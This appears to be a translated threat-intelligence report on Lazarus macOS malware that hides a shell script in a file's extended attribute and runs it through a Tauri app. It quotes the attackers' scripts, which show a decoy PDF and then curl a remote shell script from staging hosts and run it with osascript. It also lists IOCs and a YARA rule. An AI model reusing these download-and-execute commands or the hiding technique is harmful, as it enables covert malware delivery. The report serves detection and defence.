朝鲜APT 组织Lazarus 的隐秘属性:利用扩展属性逃避检测

介绍
Lazarus APT 组织已开始尝试使用自定义扩展属性代码逃避检测。
扩展属性是可与各种文件系统中的文件和目录关联的元数据。它们允许用户存储除文件大小、时间戳和权限等标准属性之外的其他文件信息。
在研究滥用扩展属性的恶意软件时,发现最相似的技术是 2020 年的一种技术,其中邦德传说广告软件将其有效负载隐藏在资源分支中,并通过特殊路径“filename/..namedfork/rsrc”访问。资源分支是旧版 macOS(和经典 Mac OS)系统上文件的一个特殊部分,用于存储与文件相关的结构化数据。它用于存储图标、自定义窗口布局和其他文件特定设置或资源等内容。资源分支在现代 macOS 中已基本弃用,已被应用程序包结构和扩展属性取代。那么,为什么不将代码隐藏在自定义扩展属性中呢?
我们在野外仅发现了几个样本,无法明确确认此次事件中是否有受害者。他们也有可能正在试验在 macOS 文件中隐藏代码的方法。
隐藏在属性中
下图说明了执行流程。我们首先来检查扩展属性。
图 1:执行流程概览
扩展属性 (EA) 是可以与各种文件系统中的文件和目录关联的元数据。这些无法在 Finder 或终端中直接看到,但使用“xattr”,我们可以轻松提取和查看属性。威胁行为者定义了自定义类型“ test ”的扩展属性。
图2:使用xattr提取扩展属性
(curl -o "/Users/Shared/Discussion Points for Synergy Exploration.pdf" "hxxps://filedn.com/lY24cv0IfefboNEIN0I9gqR/dragonfly/Discussion%20Points%20for%20Synergy%20Exploration_Over.pdf" || true) && (打开 "/Users/Shared/Discussion Points for Synergy Exploration.pdf" || true) && (shell=$(curl -L -k "hxxps://support.cloudstore[.]business/256977/check");
osascript -e "执行 shell 脚本 $shell")
带有对话框的另一种变体:
(osascript -e '显示对话框“此应用程序不支持此版本。”按钮{“OK”}默认按钮“OK”带有图标停止'|| true) && (shell=$(curl -L -k "hxxps://support.docsend[.]site/519529/check");
osascript -e "执行 shell 脚本 $shell")
执行
违规应用程序是使用 Tauri 框架开发的。Tauri 是一个使用 Web 技术构建轻量级桌面应用程序的框架。它允许开发人员使用 Web 前端(HTML、CSS、JavaScript)创建应用程序,同时利用 Rust 作为后端。该应用程序将获取并执行位于扩展属性中的恶意脚本。
检查完 shell 脚本后,我们知道会显示诱饵。我们确定了两种不同类型的诱饵。对于第一种诱饵,它实际上会从 filedn[.]com 的文件托管服务中获取 PDF 文件。“投资决策问卷”中的问题与游戏项目的开发和融资有关。第二个诱饵只是一个对话框,显示“此应用不支持此版本”的消息。同时,对暂存服务器的 Web 请求在后台处理。
图 3:下载并打开诱饵 PDF
图 4:第二种变体显示虚假对话框
图 5:在文件托管服务上找到的其他相关 PDF
它是怎样被引发的?
威胁行为者 (TA) 采取了一种迂回的方式来触发执行,可能是为了让自己不那么引人注目,更难追踪。在执行应用程序时,Tauri 应用程序会尝试使用 WebView 呈现 HTML 网页。TA 使用了一些随机模板从互联网上获取。然而,在这些网页中,我们发现加载了一个名为“ preload.js ”的可疑 javascript。
图 6:TA 使用的随机网页模板
Tauri 提供外部函数接口允许 JavaScript 代码调用 Rust 函数。这对于需要性能或直接系统访问而 JavaScript 无法有效处理的任务非常有用。invoke
函数是 Tauri 中的应用程序编程接口 (API),可促进前端 (JavaScript) 和后端 (Rust) 之间的通信,从而有效地允许前端调用 Rust 函数、传递参数和接收数据。
它在这里做的事情非常简单——使用应用程序后端提供的“get_application_properties”,从文件中获取名为“test”的扩展属性的内容,然后将其传递给“run_command”。这是 shell 脚本执行的地方。
有趣的是,下一个行为如下 - 如果该属性存在,则不会显示用户界面,而如果该属性不存在,则会显示虚假网页。
图7:preload.js代码片段
图8:get_application_properties的代码片段
接口命令
这里的命令其实并不那么重要,因为它们不是命令和控制命令,而是前端调用的接口,用于获取和执行位于扩展属性中的脚本。尽管如此,我们仍然会在这里提供描述。
接口命令 | 描述 |
获取应用程序路径 | 获取当前可执行文件的路径 |
获取应用程序属性 | 从指定的扩展属性中检索内容 |
运行命令 | 执行传递给它的脚本/命令 |
显示主窗口 | 显示 web 视图 |
关闭主窗口 | 终止所有 Tauri 进程并退出 |
图 9:可用的接口命令
检测
在我们分析时,这些文件在 VirusTotal 上完全未被检测到,可能是因为恶意组件隐藏在属性中。
图 10:VirusTotal 检测结果
这些应用程序很可能是使用泄露的证书签名的,但该证书已被 Apple 撤销。值得庆幸的是,这些应用程序未经公证。目前尚不清楚在撤销之前是否有任何受害者。目前,macOS Gatekeeper 会阻止这些应用程序的执行,除非用户选择覆盖这些保护措施。
图 11:之前的状态——已签署但未经公证

图 12:当前状态 – 证书已撤销
拉撒路集团
不幸的是,在我们研究时,下一阶段尚无法下载。然而,它连接的用于获取下一阶段的暂存服务器被识别为 Lazarus 的一部分基础设施2024 年 5 月。
图 13:Group-IB 的图表显示了 Lazarus IOC 之间的联系
诱饵 PDF 和其中一个恶意应用程序包托管在名为 pCloud 的文件共享服务的公共文件夹中。相关帐户还托管了“专用 PDF 查看器.zip”文件,已知该文件展现了 Lazarus 集团在 2023 年使用的 RustBucket 恶意软件的特征。该帐户的公共文件夹托管了以下文件。总体主题就业机会和加密货币与 Lazarus 保持一致。
然而,从我们对样本和 PDF 查看器的分析来看,没有发现进一步的恶意负载,也没有确认的受害者,我们仍然谨慎地将此归咎于 Lazarus 组织,我们的信心只处于中等水平。
文件夹 | 文件 |
我的我的我的 | 专用 PDF 查看器.zip |
支持的融资 – 2024 年第二季度.pdf <br>Deepti GN 简历-2023.pdf <br>Dhagash 的简历.pdf <br>Frontier __ KCC Chain.pdf <br>投资机会 – Fenbushi Capital.pdf <br>pitch-deck.pdf <br>您不能忽视的稳定币风险.pdf <br>Thena 更新 – 2024 年 7 月.pdf <br>Truflation 最新更新 – 2024 年 7 月_.pdf <br>Win.zip | |
腾讯 | Voov 会议(便携式).zip |
蜻蜓 | 投资决策问卷_U.pdf <br>投资决策问卷_t3rn.pdf |
图 14:公共文件夹内的文件夹和文件
结论
总之,将代码隐藏在扩展属性中的技术有效地绕过了大多数防病毒扫描程序。幸运的是,macOS 系统为发现的样本提供了一定程度的保护。要触发网络攻击,用户必须通过覆盖恶意软件保护来禁用 Gatekeeper。可能需要一定程度的互动和社会工程才能说服受害者采取这些步骤。但是,对于可能经过正确签名和公证的其他未来样本,或与 macOS Gatekeeper 绕过相结合的样本,情况可能并非如此。Lazarus 组织仍然是一个复杂且不断发展的网络威胁,不断使用新工具和方法来绕过防御,从而增强其武器库。我们预计,在通过代码签名、公证、混淆和更不显眼的自定义属性名称进一步增强此工具的可靠性后,它可能会很快被用于未来的网络攻击。
MITRE 攻击和 CK
T1059.002 | 命令和脚本解释器:AppleScript |
---|---|
T1059.004 | 命令和脚本解释器:Unix Shell |
T1564 | 隐藏文物 |
T1105 | 入口工具转移 |
攻击指标 (IOC)
网络IOCS
support[.]cloudstore[.]business
support[.]docsend[.]site
104.168.165[.]203
104.168.157[.]45
hxxps://filedn[.]com/lY24cv0IfefboNEIN0I9gqR
文件哈希
File hashes
Filenames | SHA256 |
Discussion Points for Synergy Exploration.app.zip | 7464850d7d6891418c503d0e1732812d7703d6c1fd5cf3c821f3c202786f9422 |
Investment Decision-Making Questionnaire.app.zip | f3e6e8df132155daf1d428dff61f0ca53ecd02015a0a0bbe1ad237519ab3cb58 |
Investment Decision-Making Questionnaire.app.zip | e87177e07ab9651b48664c3d22334248e012e8a2bab02f65c93fedd79af0a74f |
VooV.app.zip | 022344029b8bf951ba02b11025fe26c99193cb7c8a482c33862c9bbaa5e5528e |
Voov meeting (portable).zip | 9111d458d5665b1bf463859792e950fe8d8186df9a6a3241360dc11f34d018c2 |
DD_Form & Discussion Points.zip | 4bce97eff4430708299a1bb4142b9d359d8adf77a2e1673bf76485df25e6d357 |
DD Form Questionnaire.zip | 878e3701df9b0abdaa7094e22d067c8398a9fc842cabe917fd5f75f2c84d8552 |
AwesomeTemplate | 176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d |
localfile~.x64 | 48ee5d0d44a015876d867fa515b04c1998fecf19badcbd69f4f3fa8497d57215 |
localfile~.arm64 | a4cab67569d0b35c249dc536fb25dabdc12839ed4e945c59ec826c0a241b792a |
YARA 规则
rule rustyattr
{
meta:
author = "Sharmine Low"
company = "Group-IB"
family = "rustyattr"
description = "Detects rust binary of rustyattr"
severity = 9
date = "2024-10-30"
sample = "176e8a5a7b6737f8d3464c18a77deef778ec2b9b42b7e7eafc888aeaf2758c2d"
strings:
$s1 = "run_command"
$s2 = "get_application_properties"
$s3 = "get_application_path"
$s4 = "close_main_window"
$s5 = "show_main_window"
$r1 = "window.__TAURI__."
condition:
all of ($s*) and $r1
}